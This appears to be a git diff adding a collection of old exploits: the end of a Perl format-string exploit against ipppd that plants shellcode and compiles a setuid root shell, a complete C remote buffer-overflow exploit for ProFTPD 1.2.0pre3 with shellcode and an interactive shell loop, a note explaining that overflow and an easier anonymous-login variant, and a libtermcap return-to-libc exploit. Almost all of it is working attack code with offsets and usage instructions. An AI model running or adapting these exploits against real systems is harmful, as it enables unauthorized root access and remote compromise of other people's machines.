| 26 | # given by us. We redirect the GOT entry to a stacklocation | ||
| 27 | # where the filename of the executed program is normally | ||
| 28 | # located. Since we symlink() the shellcode to /usr/sbin/ipppd | ||
| 29 | # the shellcode goes on the stack AT A FIXED ADDRESS! Thus | ||
| 30 | # we avoid ugly offsets and guessing/bruteforce. | ||
| 31 | # If porting this exploits to other systems, you | ||
| 32 | # need to find syslogs() GOT entry yourself. | ||
| 33 | # | ||
| 34 | |||
| 35 | use Fcntl; | ||
| 36 | |||
| 37 | # chown()+chmod() /tmp/boomsh | ||
| 38 | $shellcode = "\x90"x100 . | ||
| 39 | "\x31\xc0\xb0\x46\xbb\xff\xff\xff\xff\x31\xc9\xcd\x80\xeb". | ||
| 40 | "\x2a\x90\x90\x90\x90\x5e\x89\xf3\xff\x03\xff\x43\x04\x31". | ||
| 41 | "\xc0\x88\x43\x0b\x31\xc0\xb0\xb6\x31\xc9\x31\xd2\xcd\x80". | ||
| 42 | "\x31\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80\x31\xc0\x40\xcd". | ||
| 43 | "\x80\xe8\xd5\xff\xff\xff\x2e\x74\x6d\x70\x2e\x62\x6f\x6f". | ||
| 44 | "\x6d\x73\x68\x2e"; | ||
| 45 | |||
| 46 | unlink("/tmp/$shellcode"); | ||
| 47 | symlink("/usr/sbin/ipppd", "/tmp/$shellcode") or die "$!"; | ||
| 48 | |||
| 49 | # my syslog GOT entry @ 0x806c90c | ||
| 50 | |||
| 51 | sysopen(O, "/tmp/boomsh.c", O_RDWR|O_CREAT, 0600) or die "$!"; | ||
| 52 | print O<<_EOF_; | ||
| 53 | #include <stdio.h> | ||
| 54 | int main() | ||
| 55 | { | ||
| 56 | char *a[] = {"/bin/bash", "--norc", "--noprofile", NULL}; | ||
| 57 | |||
| 58 | setuid(0); | ||
| 59 | execve(*a, a, NULL); | ||
| 60 | return -1; | ||
| 61 | } | ||
| 62 | _EOF_ | ||
| 63 | close O; | ||
| 64 | |||
| 65 | print "Compiling boomshell ...\n"; | ||
| 66 | system("cc /tmp/boomsh.c -o /tmp/boomsh"); | ||
| 67 | |||
| 68 | $dir = "/tmp/L"; | ||
| 69 | mkdir($dir); | ||
| 70 | |||
| 71 | $ret = 0xbffffffb - length($shellcode)+20; | ||
| 72 | printf("Filename is located @ %x\n", $ret); | ||
| 73 | |||
| 74 | |||
| 75 | # maybe need to change to your GOT entry | ||
| 76 | # of syslog(); see above | ||
| 77 | $file = "XX" . pack(c4, 0x0c, 0xc9, 0x06, 0x08) . "1234" . # GOT | ||
| 78 | pack(c4, 0x0d, 0xc9, 0x06, 0x08) . "1234" . # GOT+1 | ||
| 79 | pack(c4, 0x0e, 0xc9, 0x06, 0x08) . "1234" . # GOT+2 | ||
| 80 | pack(c4, 0x0f, 0xc9, 0x06, 0x08); # GOT+3 | ||
| 81 | |||
| 82 | $stackpop = "%p"x11; | ||
| 83 | $file .= $stackpop; | ||
| 84 | |||
| 85 | #$file .= "%14d%n%69d%n%40d%n%192d%n"; | ||
| 86 | |||
| 87 | # Should be fixed. If not, find the 4 values for | ||
| 88 | # %d yourself using gdb. This worked for me. | ||
| 89 | $file .= "%221d%n%158d%n%256d%n%192d%n"; | ||
| 90 | |||
| 91 | open(O, ">$dir/$file") or die "$!"; | ||
| 92 | close O; | ||
| 93 | |||
| 94 | system("/tmp/$shellcode", "..$dir/$file/"); | ||
| 95 | |||
| 96 | exec("/tmp/boomsh"); | ||
| 97 | |||
diff --git a/exploits/7350proftpd/pro.c b/exploits/7350proftpd/pro.c new file mode 100644 index 0000000..673ae41 --- /dev/null +++ b/exploits/7350proftpd/pro.c | |||
| @@ -0,0 +1,472 @@ | |||
| 1 | /* proftp exploit for 1.2.0pre3 linux | ||
| 2 | * tested on suse 6.2 | ||
| 3 | * | ||
| 4 | * note, the shorter your domain name is, the more nops there are.... | ||
| 5 | * | ||
| 6 | * comments / criticisms to smiler@tasam.com | ||
| 7 | * | ||
| 8 | * smiler / teso | ||
| 9 | * | ||
| 10 | * [http://teso.scene.at] | ||
| 11 | * | ||
| 12 | */ | ||
| 13 | |||
| 14 | #include <stdio.h> | ||
| 15 | #include <stdlib.h> | ||
| 16 | #include <string.h> | ||
| 17 | #include <stdarg.h> | ||
| 18 | #include <netdb.h> | ||
| 19 | #include <unistd.h> | ||
| 20 | #include <sys/socket.h> | ||
| 21 | #include <netinet/in.h> | ||
| 22 | #include <arpa/inet.h> | ||
| 23 | |||
| 24 | #define PORT 2666 | ||
| 25 | |||
| 26 | /* shellcode with 0xff's already doubled up... */ | ||
| 27 | char hellcode[]= | ||
| 28 | "\xeb\x21\x5b\x31\xc0\x31\xd2\x90\xfe\x0b\xfe\x4b\x04" | ||
| 29 | "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" | ||
| 30 | "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\xda\xff\xff" | ||
| 31 | "\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68"; | ||
| 32 | |||
| 33 | void parse_opts (int argc, char **argv); | ||
| 34 | int resolv (char *hostname, struct in_addr *addr); | ||
| 35 | void usage (char *s); | ||
| 36 | int tcp_connect (struct in_addr addr, unsigned short port); | ||
| 37 | int ftp_command (char *buf, int success, FILE *out, char *fmt, ...); | ||
| 38 | int send_exploit (FILE *stream); | ||
| 39 | int parse_pwd (char *str); | ||
| 40 | int stor_file (FILE *stream, char *buf); | ||
| 41 | void my_put_long (u_char *ptr, unsigned int l); | ||
| 42 | void RunShell (int fd); | ||
| 43 | |||
| 44 | struct in_addr victim; | ||
| 45 | char init_dir[25], | ||
| 46 | username[25], | ||
| 47 | password[25], | ||
| 48 | hostname[50]; | ||
| 49 | int offset = 0; | ||
| 50 | |||
| 51 | #define RET_ADDR 0xbffff662 | ||
| 52 | |||
| 53 | |||
| 54 | void | ||
| 55 | get_hostname (int fd) | ||
| 56 | { | ||
| 57 | struct hostent *res; | ||
| 58 | struct sockaddr_in sa; | ||
| 59 | int len; | ||
| 60 | |||
| 61 | fprintf (stderr, "Trying to get hostname...\n"); | ||
| 62 | |||
| 63 | len = 16; | ||
| 64 | getsockname (fd, (struct sockaddr *)&sa, &len); | ||
| 65 | res = gethostbyaddr ((char *)&sa.sin_addr, sizeof (struct in_addr), | ||
| 66 | AF_INET); | ||
| 67 | if (res == NULL) { | ||
| 68 | fprintf (stderr, "no reverse address found...using ip\n"); | ||
| 69 | strcpy (hostname, inet_ntoa (sa.sin_addr)); | ||
| 70 | } else { | ||
| 71 | strcpy (hostname, res->h_name); | ||
| 72 | } | ||
| 73 | fprintf (stderr,"Hostname: %s\n", hostname); | ||
| 74 | return; | ||
| 75 | } | ||
| 76 | |||
| 77 | /* open connection to server and call relevant functions | ||
| 78 | */ | ||
| 79 | int | ||
| 80 | talk (void) | ||
| 81 | { | ||
| 82 | int fd; | ||
| 83 | int retval = 0; | ||
| 84 | FILE *stream; | ||
| 85 | char buf[1024]; | ||
| 86 | |||
| 87 | if ((fd = tcp_connect (victim, 21)) < 0) { | ||
| 88 | perror ("connect"); | ||
| 89 | exit (-1); | ||
| 90 | } | ||
| 91 | |||
| 92 | if (*hostname == '\0') | ||
| 93 | get_hostname (fd); | ||
| 94 | |||
| 95 | if ((stream = fdopen (fd, "r")) == NULL) { | ||
| 96 | perror ("fdopen"); | ||
| 97 | exit (-1); | ||
| 98 | } | ||
| 99 | |||
| 100 | /* get banner */ | ||
| 101 | fgets (buf, sizeof(buf) - 1, stream); | ||
| 102 | fputs (buf, stdout); | ||
| 103 | |||
| 104 | |||
| 105 | if (ftp_command (buf, 331, stream, "USER %s\n", username) < 0) { | ||
| 106 | fprintf (stderr, "Bad username\n"); | ||
| 107 | retval = -1; | ||
| 108 | goto err; | ||
| 109 | } | ||
| 110 | |||
| 111 | if (ftp_command (buf, 230, stream, "PASS %s\n", password) < 0) { | ||
| 112 | fprintf (stderr, "Bad password\n"); | ||
| 113 | retval = -1; | ||
| 114 | goto err; | ||
| 115 | } | ||
| 116 | |||
| 117 | if (send_exploit (stream) < 0) | ||
| 118 | return (-1); | ||
| 119 | |||
| 120 | RunShell (fd); | ||
| 121 | err: | ||
| 122 | close (fd); | ||
| 123 | fclose (stream); | ||
| 124 | return (retval); | ||
| 125 | } | ||
| 126 | |||
| 127 | /* helper function to make the final directory with shellcode in. | ||
| 128 | */ | ||
| 129 | void | ||
| 130 | make_egg (char *buf, int len) | ||
| 131 | { | ||
| 132 | len += 3; /* kludge to offset number of 0xff's in shellcode */ | ||
| 133 | memset (buf, 0x90, len); | ||
| 134 | strcpy (buf + len - strlen (hellcode), hellcode); | ||
| 135 | buf[len] = '\0'; | ||
| 136 | return; | ||
| 137 | } | ||
| 138 | |||
| 139 | /* | ||
| 140 | * start making directorys and call stor_file() | ||
| 141 | */ | ||
| 142 | int | ||
| 143 | send_exploit (FILE *stream) | ||
| 144 | { | ||
| 145 | int pwdlen, | ||
| 146 | ctr; | ||
| 147 | char buf[1024], | ||
| 148 | tmp[1024]; | ||
| 149 | |||
| 150 | bzero (buf, sizeof (buf)); | ||
| 151 | |||
| 152 | if (*init_dir) | ||
| 153 | if (ftp_command (buf, 250, stream, "CWD %s\n", init_dir) < 0) { | ||
| 154 | fprintf (stderr, "Bad start directory\n"); | ||
| 155 | return (-1); | ||
| 156 | } | ||
| 157 | |||
| 158 | if (ftp_command (buf, 257, stream, "PWD\n") < 0) { | ||
| 159 | fprintf (stderr, "Couldn't get current directory\n"); | ||
| 160 | return (-1); | ||
| 161 | } | ||
| 162 | |||
| 163 | pwdlen = parse_pwd (buf); | ||
| 164 | bzero (password, sizeof (password)); | ||
| 165 | |||
| 166 | fprintf (stderr, "Making padding directories\n"); | ||
| 167 | |||
| 168 | for (ctr = 0; ctr < 4; ctr++) { | ||
| 169 | memset (tmp, 'A', 194); | ||
| 170 | tmp[194] = '\0'; | ||
| 171 | if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { | ||
| 172 | if (!strstr (buf, "File exists")) { | ||
| 173 | fputs (buf, stderr); | ||
| 174 | return (-1); | ||
| 175 | } | ||
| 176 | } | ||
| 177 | if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { | ||
| 178 | fputs (buf, stderr); | ||
| 179 | return (-1); | ||
| 180 | } | ||
| 181 | } | ||
| 182 | |||
| 183 | /* make the padding directory. it also contains the shellcode. | ||
| 184 | * the STORed file will contain the return address | ||
| 185 | */ | ||
| 186 | ctr = 201 - pwdlen - strlen (hostname); | ||
| 187 | if ((ctr+10) < (strlen(hellcode))) { | ||
| 188 | fprintf (stderr, "no space for shellcode - try using a"\ | ||
| 189 | " shorter hostname and/or a shorter starting"\ | ||
| 190 | " directory\n"); | ||
| 191 | return (-1); | ||
| 192 | } | ||
| 193 | make_egg (tmp, ctr); | ||
| 194 | if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { | ||
| 195 | fputs (buf, stderr); | ||
| 196 | return (-1); | ||
| 197 | } | ||
| 198 | |||
| 199 | if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { | ||
| 200 | fputs (buf, stderr); | ||
| 201 | return (-1); | ||
| 202 | } | ||
| 203 | |||
| 204 | printf ("Press any key to send overflow\n"); | ||
| 205 | getchar (); | ||
| 206 | return (stor_file (stream, buf)); | ||
| 207 | } | ||
| 208 | |||
| 209 | /* send STOR command to send final part of the overflow | ||
| 210 | */ | ||
| 211 | int | ||
| 212 | stor_file (FILE *stream, char *buf) | ||
| 213 | { | ||
| 214 | u_char *ptr, *ptr2; | ||
| 215 | int listenfd, | ||
| 216 | accfd; | ||
| 217 | struct sockaddr_in sa, tmp; | ||
| 218 | int len; | ||
| 219 | char stor_string[30], | ||
| 220 | ret_string[6]; | ||
| 221 | |||
| 222 | listenfd = socket (AF_INET, SOCK_STREAM, 0); | ||
| 223 | bzero (&sa, sizeof (sa)); | ||
| 224 | sa.sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 225 | sa.sin_port = htons (0); | ||
| 226 | sa.sin_family = AF_INET; | ||
| 227 | |||
| 228 | bind (listenfd, (struct sockaddr *)&sa, sizeof (sa)); | ||
| 229 | listen (listenfd, 1); | ||
| 230 | |||
| 231 | /* get localip and src port */ | ||
| 232 | len = 16; | ||
| 233 | getsockname (fileno (stream), (struct sockaddr *)&tmp, &len); | ||
| 234 | getsockname (listenfd, (struct sockaddr *)&sa, &len); | ||
| 235 | ptr = (char *)&tmp.sin_addr; | ||
| 236 | ptr2 = (char *)&sa.sin_port; | ||
| 237 | if (ftp_command (buf, 200, stream, "PORT " \ | ||
| 238 | "%d,%d,%d,%d,%d,%d\n",ptr[0],ptr[1],ptr[2],ptr[3], | ||
| 239 | ptr2[0], ptr2[1]) < 0) { | ||
| 240 | fputs (buf, stderr); | ||
| 241 | close (listenfd); | ||
| 242 | return (-1); | ||
| 243 | } | ||
| 244 | |||
| 245 | if (ftp_command (buf, 200, stream, "TYPE I\n") < 0) { | ||
| 246 | close (listenfd); | ||
| 247 | fputs (buf, stderr); | ||
| 248 | return (-1); | ||
| 249 | } | ||
| 250 | |||
| 251 | bzero (stor_string, sizeof (stor_string)); | ||
| 252 | bzero (ret_string, sizeof (ret_string)); | ||
| 253 | my_put_long (ret_string, RET_ADDR + offset); | ||
| 254 | sprintf (stor_string, "aaaaaaaaaaa%s%s%s%s", ret_string, | ||
| 255 | ret_string, ret_string, ret_string); | ||
| 256 | |||
| 257 | if (ftp_command (buf, 150, stream, "STOR %s\n", stor_string) < 0) { | ||
| 258 | close (listenfd); | ||
| 259 | fputs (buf, stderr); | ||
| 260 | return (-1); | ||
| 261 | } | ||
| 262 | |||
| 263 | accfd = accept (listenfd, (struct sockaddr *)&sa, &len); | ||
| 264 | close (listenfd); | ||
| 265 | /* we dont' want to write anything ! */ | ||
| 266 | close (accfd); | ||
| 267 | ftp_command (buf, 226, stream, ""); /* Transfer complete */ | ||
| 268 | return (0); | ||
| 269 | } | ||
| 270 | |||
| 271 | int | ||
| 272 | main (int argc, char **argv) | ||
| 273 | { | ||
| 274 | puts ("proftp exploit by smiler of teso\n"); | ||
| 275 | |||
| 276 | parse_opts (argc, argv); | ||
| 277 | |||
| 278 | talk (); | ||
| 279 | return (0); | ||
| 280 | } | ||
| 281 | |||
| 282 | void | ||
| 283 | parse_opts (int argc, char **argv) | ||
| 284 | { | ||
| 285 | char c, | ||
| 286 | *argv0; | ||
| 287 | |||
| 288 | argv0 = strdup (argv[0]); | ||
| 289 | |||
| 290 | *init_dir = '\0'; | ||
| 291 | *hostname = '\0'; | ||
| 292 | |||
| 293 | while ((c = getopt (argc, argv, "s:h:o:")) != -1) { | ||
| 294 | switch (c) { | ||
| 295 | case 's': | ||
| 296 | strncpy (init_dir, optarg, sizeof (init_dir)); | ||
| 297 | break; | ||
| 298 | case 'h': | ||
| 299 | strncpy (hostname, optarg, sizeof (hostname)); | ||
| 300 | break; | ||
| 301 | case 'o': | ||
| 302 | offset = atoi (optarg); | ||
| 303 | break; | ||
| 304 | } | ||
| 305 | } | ||
| 306 | |||
| 307 | argc -= optind; | ||
| 308 | argv += optind; | ||
| 309 | |||
| 310 | if (argc < 3) | ||
| 311 | usage (argv0); | ||
| 312 | |||
| 313 | if (!resolv (argv[0], &victim)) { | ||
| 314 | herror ("resolv"); | ||
| 315 | usage (argv0); | ||
| 316 | } | ||
| 317 | |||
| 318 | strncpy (username, argv[1], sizeof (username)); | ||
| 319 | strncpy (password, argv[2], sizeof (password)); | ||
| 320 | bzero (argv[2], strlen (argv[2])); | ||
| 321 | |||
| 322 | free (argv0); | ||
| 323 | return; | ||
| 324 | } | ||
| 325 | |||
| 326 | /* generic function to send a command to an ftp server and | ||
| 327 | * parse the response | ||
| 328 | * compares the return value from the ftp server to 'success' | ||
| 329 | */ | ||
| 330 | int | ||
| 331 | ftp_command (char *buf, int success, FILE *out, char *fmt, ...) | ||
| 332 | { | ||
| 333 | va_list va; | ||
| 334 | char line[2048]; | ||
| 335 | |||
| 336 | va_start (va, fmt); | ||
| 337 | vsprintf (line, fmt, va); | ||
| 338 | va_end (va); | ||
| 339 | |||
| 340 | if (send (fileno (out), line, strlen (line), 0) <= 0) | ||
| 341 | return (-1); | ||
| 342 | |||
| 343 | for (;;) { | ||
| 344 | fgets (line, sizeof (line) - 1, out); | ||
| 345 | if (*(line + 3) != '-') | ||
| 346 | break; | ||
| 347 | } | ||
| 348 | strncpy (buf, line, 1024); | ||
| 349 | |||
| 350 | if (success != atoi (line)) | ||
| 351 | return (-1); | ||
| 352 | |||
| 353 | return (1); | ||
| 354 | } | ||
| 355 | |||
| 356 | int | ||
| 357 | parse_pwd (char *str) | ||
| 358 | { | ||
| 359 | char *ptr, *ptr2; | ||
| 360 | |||
| 361 | ptr = strchr (str, '\"'); | ||
| 362 | if (!ptr++) return (0); | ||
| 363 | |||
| 364 | ptr2 = strchr (ptr + 1, '\"'); | ||
| 365 | if (!ptr2) return (0); | ||
| 366 | |||
| 367 | *ptr2-- = '\0'; | ||
| 368 | while (*ptr2 == '/') *ptr2-- = '\0'; | ||
| 369 | |||
| 370 | printf ("Start dir = %s\n", ptr); | ||
| 371 | return (strlen (ptr)); | ||
| 372 | } | ||
| 373 | |||
| 374 | int | ||
| 375 | tcp_connect (struct in_addr addr, unsigned short port) | ||
| 376 | { | ||
| 377 | struct sockaddr_in sa; | ||
| 378 | int fd; | ||
| 379 | |||
| 380 | fd = socket (AF_INET, SOCK_STREAM, 0); | ||
| 381 | if (fd < 0) | ||
| 382 | return (-1); | ||
| 383 | |||
| 384 | bzero (&sa, sizeof (sa)); | ||
| 385 | sa.sin_family = AF_INET; | ||
| 386 | sa.sin_port = htons (port); | ||
| 387 | sa.sin_addr.s_addr = victim.s_addr; | ||
| 388 | |||
| 389 | if (connect (fd, (struct sockaddr *)&sa, sizeof (sa)) < 0) | ||
| 390 | return (-1); | ||
| 391 | |||
| 392 | return (fd); | ||
| 393 | } | ||
| 394 | |||
| 395 | int | ||
| 396 | resolv (char *hostname, struct in_addr *addr) | ||
| 397 | { | ||
| 398 | struct hostent *res; | ||
| 399 | |||
| 400 | if (inet_aton (hostname, addr)) | ||
| 401 | return (1); | ||
| 402 | |||
| 403 | res = gethostbyname (hostname); | ||
| 404 | if (res == NULL) | ||
| 405 | return (0); | ||
| 406 | |||
| 407 | memcpy ((char *)addr, res->h_addr, sizeof (struct in_addr)); | ||
| 408 | return (1); | ||
| 409 | } | ||
| 410 | |||
| 411 | void | ||
| 412 | usage (char *s) | ||
| 413 | { | ||
| 414 | fprintf (stderr,"usage: %s <hostname> <username> <password> ", | ||
| 415 | s); | ||
| 416 | fputs ("[-s start directory] [-h your hostname]\n", stderr); | ||
| 417 | exit (-1); | ||
| 418 | } | ||
| 419 | |||
| 420 | /* used to put the return address into the egg, doubling up the 0xff's | ||
| 421 | */ | ||
| 422 | void | ||
| 423 | my_put_long (u_char *ptr, unsigned int l) | ||
| 424 | { | ||
| 425 | int i; | ||
| 426 | u_char *ptr2; | ||
| 427 | |||
| 428 | ptr2 = (char *)&l; | ||
| 429 | for (i = 0; i < 4; i++) { | ||
| 430 | *ptr++ = *ptr2; | ||
| 431 | if (*ptr2 == 0xff) *ptr++ = 0xff; | ||
| 432 | ptr2++; | ||
| 433 | } | ||
| 434 | return; | ||
| 435 | } | ||
| 436 | |||
| 437 | void | ||
| 438 | RunShell (int fd) | ||
| 439 | { | ||
| 440 | u_char buf[1024]; | ||
| 441 | fd_set rset; | ||
| 442 | int n; | ||
| 443 | |||
| 444 | for (;;) { | ||
| 445 | FD_ZERO (&rset); | ||
| 446 | FD_SET (fd, &rset); | ||
| 447 | FD_SET (STDIN_FILENO, &rset); | ||
| 448 | |||
| 449 | n = select (fd + 1, &rset, NULL, NULL, NULL); | ||
| 450 | if (n <= 0) { | ||
| 451 | perror ("select"); | ||
| 452 | return; | ||
| 453 | } | ||
| 454 | |||
| 455 | if (FD_ISSET (fd, &rset)) { | ||
| 456 | n = recv (fd, buf, sizeof (buf), 0); | ||
| 457 | if (n <= 0) { | ||
| 458 | fprintf (stderr, "Connection closed.\n"); | ||
| 459 | return; | ||
| 460 | } | ||
| 461 | write (STDOUT_FILENO, buf, n); | ||
| 462 | } | ||
| 463 | |||
| 464 | if (FD_ISSET (STDIN_FILENO, &rset)) { | ||
| 465 | n = read (STDIN_FILENO, buf, sizeof (buf)); | ||
| 466 | if (n <= 0) | ||
| 467 | return; | ||
| 468 | |||
| 469 | send (fd, buf, n, 0); | ||
| 470 | } | ||
| 471 | } | ||
| 472 | } | ||
diff --git a/exploits/7350proftpd/vulninfo b/exploits/7350proftpd/vulninfo new file mode 100644 index 0000000..18f1f27 --- /dev/null +++ b/exploits/7350proftpd/vulninfo | |||
| @@ -0,0 +1,55 @@ | |||
| 1 | I know of at least 2 vulnerabilites in proftp, although looking at the | ||
| 2 | code there are probably hundreds more. | ||
| 3 | |||
| 4 | The first one is in sreplace() and is overflowable by making lots of | ||
| 5 | nested paths. The overflow is in the form of a while loop where a pointer | ||
| 6 | to a local buffer is continually written to and incremented. It is | ||
| 7 | particularly difficult to exploit because you have to overwrite many | ||
| 8 | arguments on the stack, including an array of pointers and the pointer | ||
| 9 | itself ! Unless you can preserve the stack by being very cunning this is | ||
| 10 | effectively unexploitable. (it segfaults before the function returns). | ||
| 11 | |||
| 12 | The second one is much nicer. it occurs in log_xfer when STOR command is | ||
| 13 | invoked. | ||
| 14 | -- | ||
| 15 | sprintf(buf,"%s %d %s %lu %s %c _ %c %c %s ftp 0 *\n", | ||
| 16 | fmt_time(time(NULL)),xfertime,remhost,fsize, | ||
| 17 | fname,xfertype,direction,access,user); | ||
| 18 | -- | ||
| 19 | where fname is the name of the file u are STORing and buf is the only | ||
| 20 | local buffer on the stack (1024 bytes long); | ||
| 21 | |||
| 22 | This is not so easy since you have to take account of the length of the | ||
| 23 | arguments preceding fname, i.e. fmt_time(time(NULL)), xfertime, remhost, | ||
| 24 | fsize | ||
| 25 | heres a snippet from my xferlog file: | ||
| 26 | -- | ||
| 27 | Thu Dec 2 19:19:14 1999 0 localhost 0 /tmp/blah b _ i r dave ftp 0 * | ||
| 28 | -- | ||
| 29 | ^^^^^^^^^^^^^^^^^^^^^^^^ | ||
| 30 | The formatted time is thankfully always the same size, 24 bytes, | ||
| 31 | the xfer time is dependant on how long you stay connected, preferably 0, | ||
| 32 | giving a 1 byte string. the hostname that the remote server sees, you | ||
| 33 | should be able to find out yourself for sure(try SMTP). | ||
| 34 | the fsize you should be able to control as well, in my case 0. | ||
| 35 | |||
| 36 | So adding all that up gives an inital offset into the buffer of | ||
| 37 | 30 + strlen(hostname) | ||
| 38 | therefore the distance until the end of the buffer is 996-strlen(hostname) | ||
| 39 | bytes | ||
| 40 | |||
| 41 | consider the length of the buffer to be 996-strlen(hostname) | ||
| 42 | |||
| 43 | Calculating the offset is quite difficult off hand but basically all you | ||
| 44 | have to do is create 4 big directorys (194 chars long), then another | ||
| 45 | directory approx 200 - strlen(initdir) - strlen(hostname) chars long with | ||
| 46 | the nops and shellcode. then STOR a 19 byte string with the return | ||
| 47 | addresses at the end. Note that this last directory has to have a length | ||
| 48 | <= 194 but this shouldn't be a problem unless you are writing to '/' with a | ||
| 49 | 4 char hostname.... | ||
| 50 | |||
| 51 | Hopefully this won't 'exploit' the first bug explained above because the | ||
| 52 | string we are sending is too small to overflow that buffer | ||
| 53 | (1004-strlen(hostname)). | ||
| 54 | |||
| 55 | update: I just found out there is a far better (and easier!) way to exploit proftp which requires only anonymous and a file which you can read. it is still in log_xfer(). all you have to do is log in as anonymous with a really long password and do RETR somefile. the transfer (including your password) is logged, and voila. I have to get around to adding this. | ||
diff --git a/exploits/7350termcap/libtermcapsploit.c b/exploits/7350termcap/libtermcapsploit.c new file mode 100644 index 0000000..893ca0e --- /dev/null +++ b/exploits/7350termcap/libtermcapsploit.c | |||
| @@ -0,0 +1,61 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include <stdlib.h> | ||
| 3 | #include <string.h> | ||
| 4 | #include <fcntl.h> | ||
| 5 | #include <unistd.h> | ||
| 6 | |||
| 7 | // yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback) | ||
| 8 | // only made this to bypass nonexecutable stack patches - http://teso.scene.at/ | ||
| 9 | |||
| 10 | // Redhat 6 offsets (i only needed these) | ||
| 11 | int sys = 0x401bca40; // system | ||
| 12 | int sh = 0x4025ab12; // /bin/sh | ||
| 13 | int exi = 0x4020b910; // _exit | ||
| 14 | int ran = 0x401b9928; // random offset in libc | ||
| 15 | int eip = 2136; | ||
| 16 | #define fil "/tmp/teso_termcap" | ||
| 17 | #define xte "/usr/X11R6/bin/xterm" | ||
| 18 | #define entry "xterm|" | ||
| 19 | |||
| 20 | int main(int argc, char **argv) { | ||
| 21 | char *buf; | ||
| 22 | int fd, buflen; | ||
| 23 | |||
| 24 | argv++; | ||
| 25 | |||
| 26 | if (argc>1) // dec,!hex args | ||
| 27 | sys = atoi(*(argv++)); | ||
| 28 | if (argc>2) | ||
| 29 | sh = atoi(*(argv++)); | ||
| 30 | if (argc>3) | ||
| 31 | exi = atoi(*(argv++)); | ||
| 32 | if (argc>4) | ||
| 33 | eip = atoi(*(argv++)); | ||
| 34 | |||
| 35 | buflen = eip + 20; | ||
| 36 | |||
| 37 | buf = (char *) malloc(buflen); | ||
| 38 | memset(buf, 'x', buflen); | ||
| 39 | buf[buflen] = 0; | ||
| 40 | |||
| 41 | memcpy(buf, entry, strlen(entry)); | ||
| 42 | memcpy (buf+buflen-4,":\\y",3); | ||
| 43 | |||
| 44 | memcpy(buf+eip,&sys,4); | ||
| 45 | memcpy(buf+eip+4,&exi,4); | ||
| 46 | memcpy(buf+eip+8,&sh,4); | ||
| 47 | memcpy(buf+eip+12,&ran,4); | ||
| 48 | |||
| 49 | if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) { | ||
| 50 | perror("cannot create file"); | ||
| 51 | exit(EXIT_FAILURE); | ||
| 52 | } | ||
| 53 | |||
| 54 | write(fd,buf,buflen); | ||
| 55 | close(fd); | ||
| 56 | free(buf); | ||
| 57 | |||
| 58 | setenv("TERMCAP", fil, 1); | ||
| 59 | execl(xte, "xterm", NULL); | ||
| 60 | exit(EXIT_SUCCESS); | ||
| 61 | } | ||
